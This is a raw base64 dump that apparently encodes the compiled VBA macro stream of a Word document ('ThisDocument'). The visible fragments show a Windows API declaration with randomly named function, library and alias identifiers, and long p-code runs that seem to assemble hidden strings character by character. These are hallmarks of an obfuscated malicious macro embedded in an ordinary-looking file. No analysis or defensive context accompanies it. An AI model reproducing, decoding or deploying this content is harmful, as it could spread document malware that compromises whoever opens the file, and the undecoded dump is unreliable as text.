LUNGOTAtMTFDRi04RTQzLTAwQTBDOTExMDA1QX07VkJFOyZIMDAwMDAwMDANCg0KW1dvcmtz cGFjZV0NClRoaXNEb2N1bWVudD0yNiwgMjYsIDYzNiwgNDUyLCANCgAAAAAAAAAAAAAAAAAA VGhpc0RvY3VtZW50AFQAaABpAHMARABvAGMAdQBtAGUAbgB0AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAEWAwABLAEAABAKAAAQAQAAFgIAAP////8XCgAA9zMAAAAAAAABAAAATJwq NgAA//+jAQAAiAAAALYA//8BASwAAAAAADQCIAAAAP//AAAAAAAAAAAAAAAAAAAAAAAAAAAA AFdSTUdTTGoyZDYAMv////8BAAAA////////AADo+V60dnXKSpB47aZCyzSnyb7Z/IVxo0CL bCSkNXPZdQAAAAAAAAAAAAAAAAAAAAABAAAA0QDnl3po3kCMOW8Ajs1xWxAAAAADAAAABQAA AAcAAAD//////////wEBCAAAAP////94AAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA//8AAAAATUUAAAAA/////wAAAAD//wAAAAD//wEBAAAAAN8A//8AAAAAGAD///// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// /////////////////////ygAAAACAFMi/////wAAAQBTEP////8AAAEAUyL/////AAAAAAI8 /////wAA//8BAQAAAAABACgAMQBOAG8AcgBtAGEAbAAuAFQAaABpAHMARABvAGMAdQBtAGUA bgB0AAgAAAAAAP////8BAWgHAAACgP7//////yAAAAD/////MAAAAAIB//8AAAAAAAAAAP// ////////AAAAAAAAAAAdAAAAJQAAABsI4AIAABEAAoP+//////8AAAAA/////3AAAAAAAP// /////wAAAAD//////////wAAAAAAAAAAHQAYACUAAACCoCQC//////7/////////qAAAAAIA ///+////AAAAAP//////////AAAAAG8UbxQdABgAJQAAACsSLgJIAQAA/////wAAAAD///// /////wAAAAAAAAAAAAAAAAAAAAD/////AAAAAAAAAAAAAAAACAEAAAMA//8AAP//BAAEAAAA AAAAAAAADAIAIAAAAABpgzAC////////////////CAD//wAAAAAoAQAAhAAAAGmDMgL///// //////////8DAf//AAAAAP////+AAQAADBE2AjACAAD/////AAAAAP//////////AAAAAAAA AAAAAAAAAAAAAP////8AAAAABAAAAAAAAAD///////////////9XAFcAAAAAAAAAAACUAAAC AAAAAGCEQgL///////////////8DAP//AAAAAGCERAL///////////////8DAP//AAAAAGCE RgL///////////////8DAP//AAAAAGCESAL///////////////8DAP//AAAAAGCEWgL///// //////////8CAP//AAAAAGCEXAL///////////////8IAP//AAAAACwRkAIYAwAA/////wAA AAD//////////wAAAAAAAAAAAAAAAAAAAAD/////AAAAAAAAAAAAAAAAiAIAAAMA//////// EgASAAAAAAAAAAAAvAIAAgAAAABpg5IC////////////////DAD//wAAAACoAgAAhAAAAGmD /v////////////////8DAf//AAAAAP////8gAAAAIISYAv///////////////zgAAAAAAAAA AAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABghJoC////////////////AwD//wAA AAAMEaQCyAMAAP////8AAAAA//////////8AAAAAAAAAAAAAAAAAAAAA/////wAAAAAAAAAA AAAAAHADAAD//////////yUAJQAAAAAAAAAAAJQCAAIAAAAAaYOmAv///////////////wgB //8AAAAAkAMAAIABAABpg6gC////////////////CAH//wAAAAD/////gAEAAGCEqgL///// //////////8JAP//AAAAAAwR0AJYBAAA/////wAAAAD//////////wAAAAAAAAAAAAAAAAAA AAD/////AAAAAAAAAAAAAAAAIAQAAP//////////EwATAAAAAAAAAAAAlAEAAgAAAABpg9IC ////////////////AwH//wAAAAD/////gAEAAGCE2AL///////////////8DAP//AAAAAAwR egKwBAAA/////wAAAAD//////////wAAAAAAAAAAAAAAAAAAAAD/////AAAAAAQAAAAAAAAA ////////////////KAAoAAAAAAAAAAAAlAAAAgAAAAAMEXQCOAUAAP////8AAAAA//////// //8AAAAAAAAAAAAAAAAAAAAA/////wAAAAAAAAAAAAAAAP///////////////zUANQAAAAAA AAAAAJQAAAIAAAAAYIQmA////////////////wgA//8AAAAAYIQoA////////////////wkA //8AAAAALBGyAv//////////AAAAAP//////////AAAAAAAAAAAAAAAAAAAAAP////8AAAAA BAAAAAAAAACQBQAACAD///////8+AD4AAAAAAAAAAAC8AwACAAAAAGmDXgP///////////// //8IAP//AAAAALAFAACEAAAAaYNgA////////////////wgB//8AAAAA0AUAAIABAABpg/7/ ////////////////CAH//wAAAAD/////IAAAACCEagP///////////////8oBgAAAAAAAAAA AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwgIBgAAEQAghGwD//////////////// aAYAAAAAAAABABIAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsASAYAAAIAIIRuA/// /////////////6gGAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbCIgG AAARAECEcAP///////////////8MAP//AAAAAECEcgP///////////////8MAP//AAAAAECE dAP///////////////8MAP//AAAAAECEdgP///////////////8MAP//AAAAAGCEeAP///// //////////8LAP//AAAAAP////+wBAAA/////////////////////7AAAAAwAgAAyAMAAEgB AABYBAAAOAUAABgDAAD//////////5gAAAAIAAgAAAABAAAAAAAAAAAAsAAAAP////////// AAAAAP//////////OAUAAP//////////AAAAAP///////////////3gAAABAAAAAAAAAAAAA AAB4AAAACAAAAAAA2A3YDf////////////////////////////8QAAAADQAoBwAAxeXrVxEA 3wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAP7KAQBBAQDACAAIAAAAAAAAAEiADAAGAAAACAAAAABACAAEAAAAEAAAAAEBCAB6 AAAAGAAAAADACAAEAAAAmAAAACKBCAAGAAAAoAAAAACBCAAIAAAAqAAAAACBCAASAAAAsAAA AACBCAAOAAAAyAAAAACBCAACAAAA2AAAAACBCAAEAAAA4AAAAACBCAAIAAAA6AAAAACBCAAS AAAA8AAAAACBCAAOAAAACAEAAACBCAACAAAAGAEAAACACAAaAAAAIAEAAACBCAAIAAAAQAEA AACBCAASAAAASAEAAACBCAAOAAAAYAEAAACBCAACAAAAcAEAAACBCAAiAAAAeAEAAACBCAAI AAAAoAEAAACBCAASAAAAqAEAAACBCAAOAAAAwAEAAACBCAACAAAA0AEAAACBCAASAAAA2AEA AACBCAAOAAAA8AEAAACBCAAKAAAAAAIAAACBCAAIAAAAEAIAAACBCAASAAAAGAIAAACBCAAO AAAAMAIAAACBCAACAAAAQAIAAACBCAAMAAAASAIAAACBCAAIAAAAWAIAAACBCAASAAAAYAIA AACBCAAOAAAAeAIAAACBCAACAAAAiAIAAACACAAOAAAAkAIAAACBCAASAAAAoAIAAACBCAAO AAAAuAIAAACBCAAEAAAAyAIAAACBCAAIAAAA0AIAAACBCAASAAAA2AIAAACBCAAOAAAA8AIA AACBCAACAAAAAAMAAACBCAAaAAAACAMAAACBCAAIAAAAKAMAAACBCAASAAAAMAMAAACBCAAO AAAASAMAAACBCAACAAAAWAMAAACBCAAQAAAAYAMAAACBCAAIAAAAcAMAAACBCAASAAAAeAMA AACBCAAOAAAAkAMAAACBCAACAAAAoAMAAACBCAAKAAAAqAMAAACBCAAIAAAAuAMAAACBCAAS AAAAwAMAAACBCAAOAAAA2AMAAACBCAACAAAA6AMAAACBCAAGAAAA8AMAAACBCAACAAAA+AMA AACBCAAIAAAAAAQAAACBCAASAAAACAQAAACBCAAOAAAAIAQAAACBCAACAAAAMAQAAACBCAAG AAAAOAQAAACBCAAIAAAAQAQAAACBCAASAAAASAQAAACBCAAOAAAAYAQAAACBCAACAAAAcAQA AACBCAACAAAAeAQAAACBCAAIAAAAgAQAAACBCAASAAAAiAQAAACBCAAOAAAAoAQAAACBCAAC AAAAsAQAAACBCAACAAAAuAQAAACBCAAIAAAAwAQAAACBCAASAAAAyAQAAACBCAAOAAAA4AQA AACBCAACAAAA8AQAAACBCAAGAAAA+AQAAACBCAAIAAAAAAUAAACBCAASAAAACAUAAACBCAAO AAAAIAUAAACBCAACAAAAMAUAAACBCAACAAAAOAUAAACBCAAIAAAAQAUAAACBCAASAAAASAUA AACBCAAOAAAAYAUAAACBCAACAAAAcAUAAASBCAACAAAAeAUAAEKBDAAGAAAAgAUAAACBCAAI AAAAiAUAAACBCAASAAAAkAUAAACBCAAOAAAAqAUAAACBCAACAAAAuAUAAACACAAOAAAAwAUA AACBCAAIAAAA0AUAAACBCAAMAAAA2AUAAACBCAAIAAAA6AUAAACBCAASAAAA8AUAAACBCAAO AAAACAYAAACBCAACAAAAGAYAAACBCAAWAAAAIAYAAACBCAAIAAAAOAYAAACBCAASAAAAQAYA AACBCAAOAAAAWAYAAACBCAACAAAAaAYAAASBCAACAAAAcAYAACKBDAAGAAAAeAYAAACACAAI AAAAgAYAAACBCAAIAAAAiAYAAACBCAASAAAAkAYAAACBCAAOAAAAqAYAAACBCAACAAAAuAYA AACBCABaAQAAwAYAAACBCAAIAAAAIAgAAACBCAASAAAAKAgAAACBCAAOAAAAQAgAAACBCAAC AAAAUAgAAACBCAASAAAAWAgAAACBCAAIAAAAcAgAAACBCAASAAAAeAgAAACBCAAOAAAAkAgA AACBCAACAAAAoAgAAACBCAAMAAAAqAgAAACBCAAIAAAAuAgAAACBCAASAAAAwAgAAACBCAAO AAAA2AgAAACBCAACAAAA6AgAAACBCAAGAAAA8AgAAACBCAAIAAAA+AgAAACBCAASAAAAAAkA AACBCAAOAAAAGAkAAACBCAACAAAAKAkAAACBCAACAAAAMAkAAACBCAAIAAAAOAkAAACBCAAS AAAAQAkAAACBCAAOAAAAWAkAAACBCAACAAAAaAkAAACBCAAIAAAAcAkAAACBCAAIAAAAeAkA AACBCAASAAAAgAkAAACBCAAOAAAAmAkAAACBCAACAAAAqAkAAASBCAACAAAAsAkAACKBDAAG AAAAuAkAAACBCAAIAAAAwAkAAACBCAASAAAAyAkAAACBCAAOAAAA4AkAAACBCAACAAAA8AkA AACACAAIAAAA+AkAAACBCAAIAAAAAAoAAACBCAASAAAACAoAAACBCAAOAAAAIAoAAACBCAAC AAAAMAoAAACBCAAOAAAAOAoAAACBCAAMAAAASAoAAACBCAAGAAAAWAoAAACBCAACAAAAYAoA AACBCAAIAAAAaAoAAACBCAASAAAAcAoAAACBCAAOAAAAiAoAAACBCAACAAAAmAoAAASBCAAC AAAAoAoAACKBCAAGAAAAqAoAAACBCAAIAAAAsAoAAACBCAASAAAAuAoAAACBCAAOAAAA0AoA AACBCAACAAAA4AoAAACBCAAEAAAA6AoAAACBCAAKAAAA8AoAAACBCAAWAAAAAAsAAACBCAAm AAAAGAsAAACBCAAGAAAAQAsAAACBCAAGAAAASAsAAACBCAAOAAAAUAsAAACBCAAKAAAAYAsA AACBCAAOAAAAcAsAAACBCAAYAAAAgAsAAACBCAAKAAAAmAsAAACBCAASAAAAqAsAAACBCAAK AAAAwAsAAACBCAAaAAAA0AsAAACBCAASAAAA8AsAAACBCAAGAAAACAwAAACBCAAOAAAAEAwA AACBCAAKAAAAIAwAAACBCAAcAAAAMAwAAACBCAAKAAAAUAwAAACBCAAKAAAAYAwAAACBCAAC AAAAcAwAAACBCAAKAAAAeAwAAACBCAAaAAAAiAwAAACBCAAKAAAAqAwAAACBCAAOAAAAuAwA AACBCAAKAAAAyAwAAACBCAAKAAAA2AwAAACBCAASAAAA6AwAAACBCAAOAAAAAA0AAACBCAAI AAAAEA0AAACBCAASAAAAGA0AAACBCAAOAAAAMA0AAACBCAACAAAAQA0AAASBCAACAAAASA0A ACKBCAAGAAAAUA0AAACBCAAIAAAAWA0AAACBCAASAAAAYA0AAACBCAAOAAAAeA0AAACBCAAC AAAAiA0AAACACAAOAAAAkA0AAACBCAAIAAAAoA0AAACBCAASAAAAqA0AAACBCAAOAAAAwA0A AACBCAACAAAA0A0AAACBCABIAQAA2A0AAACBCAAIAAAAIA8AAACBCAASAAAAKA8AAACBCAAO AAAAQA8AAACBCAACAAAAUA8AAACBCADsAAAAWA8AAACBCAAIAAAASBAAAACBCAASAAAAUBAA AACBCAAOAAAAaBAAAACBCAACAAAAeBAAAACBCABiAgAAgBAAAACBCAAIAAAA6BIAAACBCAAS AAAA8BIAAACBCAAOAAAACBMAAACBCAACAAAAGBMAAACBCAAKAAAAIBMAAACBCAAgAAAAMBMA AACBCAAIAAAAUBMAAACBCAASAAAAWBMAAACBCAAOAAAAcBMAAACBCAACAAAAgBMAAACBCAAK AAAAiBMAAACBCAAIAAAAmBMAAACBCAASAAAAoBMAAACBCAAOAAAAuBMAAACBCAACAAAAyBMA AACBCACKAAAA0BMAAACBCAAIAAAAYBQAAACBCAASAAAAaBQAAACBCAAOAAAAgBQAAACBCAAC AAAAkBQAAACBCADUAAAAmBQAAACBCAAIAAAAcBUAAACBCAASAAAAeBUAAACBCAAOAAAAkBUA AACBCAACAAAAoBUAAACBCAACAAAAqBUAAACBCAAIAAAAsBUAAACBCAASAAAAuBUAAACBCAAO AAAA0BUAAACBCAACAAAA4BUAAACBCAAIAAAA6BUAAASBCAACAAAA8BUAAEKBDAAGAAAA+BUA AACBCAAIAAAAABYAAACBCAASAAAACBYAAACBCAAOAAAAIBYAAACBCAACAAAAMBYAAACBCAAE AAAAOBYAAACBCAAIAAAAQBYAAACBCAASAAAASBYAAACBCAAOAAAAYBYAAACBCAACAAAAcBYA AACACAA6AAAAeBYAAACBCAAIAAAAuBYAAACBCAASAAAAwBYAAACBCAAOAAAA2BYAAACBCAAC AAAA6BYAAACBCAASAAAA8BYAAACBCAAIAAAACBcAAACBCAASAAAAEBcAAACBCAAOAAAAKBcA AACBCAACAAAAOBcAAACBCAAUAAAAQBcAAACBCAAIAAAAWBcAAACBCAASAAAAYBcAAACBCAAO AAAAeBcAAACBCAACAAAAiBcAAACBCAAMAAAAkBcAAACBCAAIAAAAoBcAAACBCAASAAAAqBcA AACBCAAOAAAAwBcAAACBCAACAAAA0BcAAACBCAASAAAA2BcAAACBCAAOAAAA8BcAAACBCAAK AAAAABgAAACBCAASAAAAEBgAAACBCAAUAAAAKBgAAACBCAAKAAAAQBgAAACBCAASAAAAUBgA AACBCAAgAAAAaBgAAACBCAA6AAAAiBgAAACBCAAKAAAAyBgAAACBCAAGAAAA2BgAAACBCAAI AAAA4BgAAACBCAAIAAAA6BgAAACBCAAWAAAA8BgAAACBCAAYAAAACBkAAACBCAAyAAAAIBkA AACBCAAyAAAAWBkAAACBCAAwAAAAkBkAAACBCAAOAAAAwBkAAACBCAAOAAAA0BkAAACBCAAK AAAA4BkAAACBCAAIAAAA8BkAAACBCAASAAAA+BkAAACBCAAOAAAAEBoAAACBCAACAAAAIBoA AACBCAAUAAAAKBoAAACBCAAIAAAAQBoAAACBCAASAAAASBoAAACBCAAOAAAAYBoAAACBCAAC AAAAcBoAAASBCAACAAAAeBoAAACACQAAAAAA//////////8BAYgaAAAAASAAHAL8AJYIsAAA AAAAAAH9AGgAAADmAHYAUHJpdmF0ZSBEZWNsYXJlIEZ1bmN0aW9uIE1kSFlaalhQSXJHIGxp YiAiUG5INlYxZyIgQWxpYXMgIldSTUdTTGoyZDYiKGJ5dmFsIENlcEhzTVdSIGFzIFN0cmlu ZywgVnhORSBhcyBMb25nICkgYXMgTG9uZ///AAAAAAAB/wBgAAAAlgRIAQAAAACsAD8AJwA4 AiAAOAIgADoCCwCsAAEACgCcAAALACQAPawAYgAkADwCAQAnADoCAH1rAP//IAAAAMwEAAAY AAAArAA3ACcAPgIgAD4CIABAAgsArAABAAoAnAAIIPgAAACsAEsAJAA8AgEAJwBAAgAAawD/ /+AAAABdAPUEoAEAAPUEuAEAAPUE0AEAAPUE6AEAAAAAAQAAAKwACgAnAEoCIABKAiAATAIL AKwAAQAKAJwAAAAAAAAArAANACQAPAIBACcATAIAAGsA//+IAAAArQCQ+eUFJwBCAkYAAACs AAAAJwBEAkYAAACsAAAAJwBGAgAAAAAAAKwAAwAnAE4CIABOAiAAUAILAKwAAQAKAJwAAAAA AQAArAAzACQAPAIBACcAUAIAAGsA//8oAAAAAgEgAEQCAQGsAAEAIABCApIAAAAAAAAAIABG AqwAAQALACcARgIAAAIBIABEAgEBywAAAAAAAACsAFgAJwBSAiAAUgIgAFQCCwCsAAEACgCc AAAAAAAAAKwAKQAkADwCAQAnAFQCAABrAP//uAEAACAARgIgAEICBQCcAAAAAACsADgAJwBW AiAAVgIgAFgCCwCsAAEACgCcAAAAAAAAAKwAQAAkADwCAQAnAFgCAABrAP//cAEAAF0A9QQA AgAA9QQYAgAAAAACASAAWgIBAawAAgCsAAQDkgAAAAAAAAAgAFwCIABaAgsAJwBcAgAAAgHK ADABAACsACwAJwBeAiAAXgIgAGACCwCsAAEACgCcAAAAAAAAAKwARAAkADwCAQAnAGACAABr AP//+AAAALkACABBWmJMSDFNWKwASAAkAC4CAgAnAEgCAAAAAAAArAAKACcAYgIgAGICIABk AgsArAABAAoAnAAAAAAAAACsABkAJAA8AgEAJwBkAgAAawD//6AAAAAgAGYCIQBoAqwANQAF AJwArAAjACcAagIgAGoCIABsAgsArAABAAoAnAAAAAAAAACsAGEAJAA8AgEAJwBsAgAAawD/ /1gAAAAgAGYCQkBuAgAAAAAAAAAArABBACcAcAIgAHACIAByAgsArAABAAoAnABXAAEk7u6s ABwAJAA8AgEAJwByAgAAawD//xAAAABBQHQCAAAAAGQA//8AAAAArAAHACcAdgIgAHYCIAB4 AgsArAABAAoAnAAAAAAAAACsAEwAJAA8AgEAJwB4AgAAawD//8gDAABBQHoCAAAAAKwANgAn AHwCIAB8AiAAfgILAKwAAQAKAJwAAAAAAAAArAACACQAPAIBACcAfgIAAGsA//+IAwAAawD/ /4ADAACsADgAJwCAAiAAgAIgAIICCwCsAAEACgCcAAAAAAAAAKwASgAkADwCAQAnAIICAABr AP//SAMAAGQA//9AAwAArAAzACcAhAIgAIQCIACGAgsArAABAAoAnAAAAAAAAACsAFoAJAA8 AgEAJwCGAgAAawD//wgDAABBQHoCAAAAAKwAOgAnAIgCIACIAiAAigILAKwAAQAKAJwAAAAA AAAArAA8ACQAPAIBACcAigIAAGsA///IAgAAawD//8ACAACsAFkAJwCMAiAAjAIgAI4CCwCs AAEACgCcAAAAAAAAAKwAKAAkADwCAQAnAI4CAABrAP//iAIAAG8A//+AAgAAlggwAgAAAACs ABwAJwCUAiAAlAIgAJYCCwCsAAEACgCcAAAAAAAAAKwAEwAkADwCAQAnAJYCAABrAP//QAIA AF0A9QTIAgAA9QQAAwAAAAAgAJICJwCYAiAAmAKRAAAAJwCaAgAAAACsADkAJwCcAiAAnAIg AJ4CCwCsAAEACgCcAAAAAAAAAKwAIAAkADwCAQAnAJ4CAABrAP//4AEAACAAmgKsAAEACwAd AKwAAgAQACcAkAIAAKwAXAAnAKACIACgAiAAogILAKwAAQAKAJwAAAAAAAAArABfACQAPAIB ACcAogIAAGsA//+QAQAAaQD//4gBAACWBBgDAAAAAF0A9QSwAwAArABaACcArAIgAKwCIACu AgsArAABAAoAnAAAAAAAAACsAF8AJAA8AgEAJwCuAgAAawD//0ABAADwAKwAnwAkALQCAQCs ANoAJAC0AgEACwCsAPoAJAC0AgEACwCsAMMAJAC0AgEACwCsAMQAJAC0AgEACwCsAOoAJAC0 AgEACwCsAAkAJAC0AgEACwCsAAgAJAC0AgEACwCsACQAJAC0AgEACwCsAHIAJAC0AgEACwCs ADsAJAC0AgEACwCsACQAJAC0AgEACwCsAFMAJAC0AgEACwCsADkAJAC0AgEACwCsAAQAJAC0 AgEACwCsABoAJAC0AgEACwCsABoAJAC0AgEACwCsAAYAJAC0AgEACwCsAD4AJAC0AgEACwCs AE0AJAC0AgEACwCsAD0AJAC0AgEACwCsABYAJAC0AgEACwCsADcAJAC0AgEACwCsACcAJAC0 AgEACwCsAAwAJAC0AgEACwCsACsAJAC0AgEACwC5AA4AWWx5Y0kzZmFLVXdGM1EkALICAgAk ALACAQAuAKoCAAAAAAAArAA+ACcAtgIgALYCIAC4AgsArAABAAoAnAAAAAAAAACsADYAJAA8 AgEAJwC4AgAAawD//6gHAAAEASAApgIgAKoCJQC6AgEA+AAAAAAAAACsABwAJwC8AiAAvAIg AL4CCwCsAAEACgCcAAAAAAAAAKwASwAkADwCAQAnAL4CAABrAP//WAcAACAAqAIdAENAhgEB AAAAAACsABsAJwDAAiAAwAIgAMICCwCsAAEACgCcAAAAAAAAAKwAHgAkADwCAQAnAMICAABr AP//EAcAAENAQgAAAAAArAAsACcAxAIgAMQCIADGAgsArAABAAoAnAAAAAAAAACsAEkAJAA8 AgEAJwDGAgAAawD//9AGAABxAP//yAYAAKwAAQAnAMgCIADIAiAAygILAKwAAQAKAJwAAAAA AAAArAAtACQAPAIBACcAygIAAGsA//+QBgAA8ACyAC4AqgKsAFMAJwDMAiAAzAIgAM4CCwCs AAEACgCcAAAAAAAAAKwAGAAkADwCAQAnAM4CAABrAP//UAYAAG8A//9IBgAAlgTIAwAAAACs ABMAJwDUAiAA1AIgANYCCwCsAAEACgCcAAAAAAAAAKwADAAkADwCAQAnANYCAABrAP//CAYA AF0A9QRABAAArABRACcA2gIgANoCIADcAgsArAABAAoAnAAAAAAAAACsAFoAJAA8AgEAJwDc AgAAawD//8gFAAAgAN4CIADSAgsAJwDYAgAAIADeAiAA2AIJAGIAAAAAAEFAhAAAAAAAvAD/ /5gFAACsACUAJwDgAiAA4AIgAOICCwCsAAEACgCcAAAAAAAAAKwAMQAkADwCAQAnAOICAABr AP//YAUAAG8A//9YBQAAlgRYBAAAAACsAEQAJwDkAiAA5AIgAOYCCwCsAAEACgCcAAAAAAAA AKwAMgAkADwCAQAnAOYCAABrAP//GAUAAOggAAAQBQAArABZAEFA6AIBAAAAAAAAALkACABF a0duTW9BdKwAUgBBQOoCAgAAALkACwBWRGFGSU05SDNBZwC5AAsARGZvNHNZTm1QUTQAQUCw AgIAAABBQDQBAAAAAEFAPAIAAAAArAAxACAAZgJCQOwCAQAAAKwASwBBQO4CAQAAAAAAAACs ABgAJADyAgEAJwDwAgAArAAYAFhEugQFAJsARwCsAA0eJwD0AmoArAARAEFA9gIBAAAAAAAA AKwARwCsAAkArABFAEFA+AIDAAAAAAAAACAA+gJBQOwAAQAAAAAAAACsABAArAAyAKwAMgCs AEgArAA8AEFA/AIFAAAAAAAAAKwAXwCsAD8ArAAHAEFA/gIDAAAAAAAAAEFAAAMAAAAAIAAE A6wACgBBQAIDAgAAAKwASwBBQAYDAQAAAAAAAAC5AAkAVldGMldTMGt3AKwAYACsAAgAQUAI AwMAAAAAAKwAAQBZKCcACgMAAAAAAACsABcAQUAMAwEAAAAAAAAA8gD//4gDAACsADcAQUAO AwEAAAAAAAAArABTAKwAYgCsAAIArAAUAKwAQQBBQBADBQAAAAAAAACsADcAQUASAwEAAAAA AAAArAAMAKwADwBBQBQDAgAAAKwATQBBQBYDAQAAAAAAAACsAFkAQUAYAwEAAAAAAAAArAAb AKwAKgCsABYAQUAaAwMAAAAAAAAArABTAKwASgBBQBwDAgAAAKwATgAnAB4DIAAeAyAAIAML AKwAAQAKAJwAAAAAAAAArAApACQAPAIBACcAIAMAAGsA//+4AgAAbwD//7ACAACWBLAEAAAA AKwAIgAnACIDIAAiAyAAJAMLAKwAAQAKAJwAAAAAAAAArAA4ACQAPAIBACcAJAMAAGsA//9w AgAAXQD1BAgFAAD1BCAFAAAAAKwAOAAnACoDIAAqAyAALAMLAKwAAQAKAJwAAAAAAAAArABT ACQAPAIBACcALAMAAGsA//8oAgAArACqACQAtAIBAKwA6QAkALQCAQALAKwA1gAkALQCAQAL AKwAyQAkALQCAQALAKwAxAAkALQCAQALAKwAwAAkALQCAQALAKwAPgAkALQCAQALALkACgBL N3pLWlJZZjROJACyAgIAJAAuAwEArADqACQAtAIBAKwAgQAkALQCAQALAKwAngAkALQCAQAL AKwA+AAkALQCAQALAKwA2wAkALQCAQALAKwAkgAkALQCAQALAKwANQAkALQCAQALAKwAIwAk ALQCAQALAKwAHQAkALQCAQALAKwAbQAkALQCAQALAKwAaAAkALQCAQALAKwANwAkALQCAQAL AKwASwAkALQCAQALAKwAIwAkALQCAQALAKwAHAAkALQCAQALAKwALwAkALQCAQALALkADQBL akVFeXdZaXM3NklpACQAsgICABEAJwAmA6wARgAnADADIAAwAyAAMgMLAKwAAQAKAJwAAAAA AAAArAAKACQAPAIBACcAMgMAAGsA//+oAAAA8ACsAP4AJAC0AgEArACjACQAtAIBAAsArADO ACQAtAIBAAsArADCACQAtAIBAAsArADfACQAtAIBAAsArADFACQAtAIBAAsArAAmACQAtAIB AAsArAAzACQAtAIBAAsArABJACQAtAIBAAsArABrACQAtAIBAAsArAAxACQAtAIBAAsArAAD ACQAtAIBAAsArAAUACQAtAIBAAsArAAkACQAtAIBAAsArAASACQAtAIBAAsArAASACQAtAIB AAsArAAPACQAtAIBAAsAuQALAEVUYUhJT09SNUxjACQAsgICACQAsAIBAC4AKAMAAAAArABi ACcANAMgADQDIAA2AwsArAABAAoAnAAAAAAAAACsAC0AJAA8AgEAJwA2AwAAawD//4APAACs ANkAJAC0AgEArAD3ACQAtAIBAAsArADDACQAtAIBAAsAuQARAEhodjlCYmZrZmRpdlpoTWF4 ACQAsgICAKwA9gAkALQCAQCsAOEAJAC0AgEACwCsANkAJAC0AgEACwCsALYAJAC0AgEACwCs AJEAJAC0AgEACwCsAJIAJAC0AgEACwCsABAAJAC0AgEACwCsAD0AJAC0AgEACwCsAA0AJAC0 AgEACwCsAAEAJAC0AgEACwCsAFkAJAC0AgEACwCsACYAJAC0AgEACwCsACsAJAC0AgEACwCs AA0AJAC0AgEACwCsAEwAJAC0AgEACwCsACQAJAC0AgEACwCsACMAJAC0AgEACwCsAEYAJAC0 AgEACwCsAG4AJAC0AgEACwCsABoAJAC0AgEACwCsABoAJAC0AgEACwCsAEoAJAC0AgEACwCs AHoAJAC0AgEACwCsAD0AJAC0AgEACwCsABAAJAC0AgEACwCsAEkAJAC0AgEACwCsAD8AJAC0 AgEACwCsACoAJAC0AgEACwCsAFYAJAC0AgEACwCsAGAAJAC0AgEACwCsACsAJAC0AgEACwCs ABAAJAC0AgEACwCsAH0AJAC0AgEACwCsABYAJAC0AgEACwCsAAQAJAC0AgEACwCsADUAJAC0 AgEACwCsADoAJAC0AgEACwCsABcAJAC0AgEACwCsAEIAJAC0AgEACwCsADAAJAC0AgEACwCs ABAAJAC0AgEACwCsADMAJAC0AgEACwCsACwAJAC0AgEACwC5AAsAQ0NlMUJUOVJqYTIAJACy AgIAugAgACgDQkAWAQMAAAAAAAAArAAPACcAOAMgADgDIAA6AwsArAABAAoAnAAAAAAAAACs ABAAJAA8AgEAJwA6AwAAawD//+AMAAAgACgDQkA8AwAAAAAAAAAAIAAoAyEAPgOsAAQABQAg ACgDIQBAA6wAyAAFAAQAnACsAAUAJwBCAyAAQgMgAEQDCwCsAAEACgCcAAAAAAAAAKwADgAk ADwCAQAnAEQDAABrAP//eAwAAKwAAQBBQNACAQAAAAAAAACsAEEAJwBGAyAARgMgAEgDCwCs AAEACgCcAAAAAAAAAKwAHAAkADwCAQAnAEgDAABrAP//MAwAACAAJgMgACgDIQBMAyAATgMk AEoDAgCsAMQAJAC0AgEArACpACQAtAIBAAsArAD+ACQAtAIBAAsArADNACQAtAIBAAsArAD9 ACQAtAIBAAsArACIACQAtAIBAAsArABXACQAtAIBAAsAuQAMAFJCZkJQT2ZXZTl4ZSQAsgIC ACQAsgICAEFApAICAAAAAAAAAKwATwAnAFADIABQAyAAUgMLAKwAAQAKAJwAAAAAAAAArAAE ACQAPAIBACcAUgMAAGsA//9oCwAAuQABACIAIAAmAxEAuQABACIAEQCsAJ8AJAC0AgEArADJ ACQAtAIBAAsArADzACQAtAIBAAsArADKACQAtAIBAAsArADCACQAtAIBAAsArADNACQAtAIB AAsArAA8ACQAtAIBAAsArABoACQAtAIBAAsArABjACQAtAIBAAsArAAjACQAtAIBAAsArAA7 ACQAtAIBAAsArAAgACQAtAIBAAsArAAPACQAtAIBAAsAuQAQAFBUaTRMVU5BOEJUR29lN00k ALICAgAkALACAQBCQFQDAQAAAAAArAAIACcAVgMgAFYDIABYAwsArAABAAoAnAAAAAAAAACs AAYAJAA8AgEAJwBYAwAAawD//1gKAABrAP//UAoAAKwAGQAnAFoDIABaAyAAXAMLAKwAAQAK AJwAAAAAAAAArAAwACQAPAIBACcAXAMAAGsA//8YCgAA8ACyAC4AKANvAP//CAoAAJYIOAUA AAAArABfACcAYgMgAGIDIABkAwsArAABAAoAnAAAAAAAAACsACAAJAA8AgEAJwBkAwAAawD/ /8gJAADMBAAAwAkAAKwADgAnAGYDIABmAyAAaAMLAKwAAQAKAJwAAAAAAAAArABEACQAPAIB ACcAaAMAAGsA//+ICQAAXQD1BPAFAACsAAAArAAdAfUEMAYAAPUEcAYAAPUEsAYAAPUEyAYA APUE4AYAAPUE+AYAAPUEEAcAAAAAAAAAAKwANAAnAHoDIAB6AyAAfAMLAKwAAQAKAJwAAAAA AAAArAArACQAPAIBACcAfAMAAGsA//8QCQAAIABeAyAAfgMkAEoDAgAnAGoDAAAAAAAArABE ACcAgAMgAIADIACCAwsArAABAAoAnAAAAAAAAACsACIAJAA8AgEAJwCCAwAAawD//8AIAAAg AGADIAB+AyQASgMCACsAbgMAAAAAAACsACYAJwCEAyAAhAMgAIYDCwCsAAEACgCcAAAAAAAA AKwAJwAkADwCAQAnAIYDAABrAP//cAgAACAAbgORAAAAJwByAwAAAACsABsAJwCIAyAAiAMg AIoDCwCsAAEACgCcAAAAAAAAAKwAQgAkADwCAQAnAIoDAABrAP//KAgAAAIBIABwAwEBrAAA 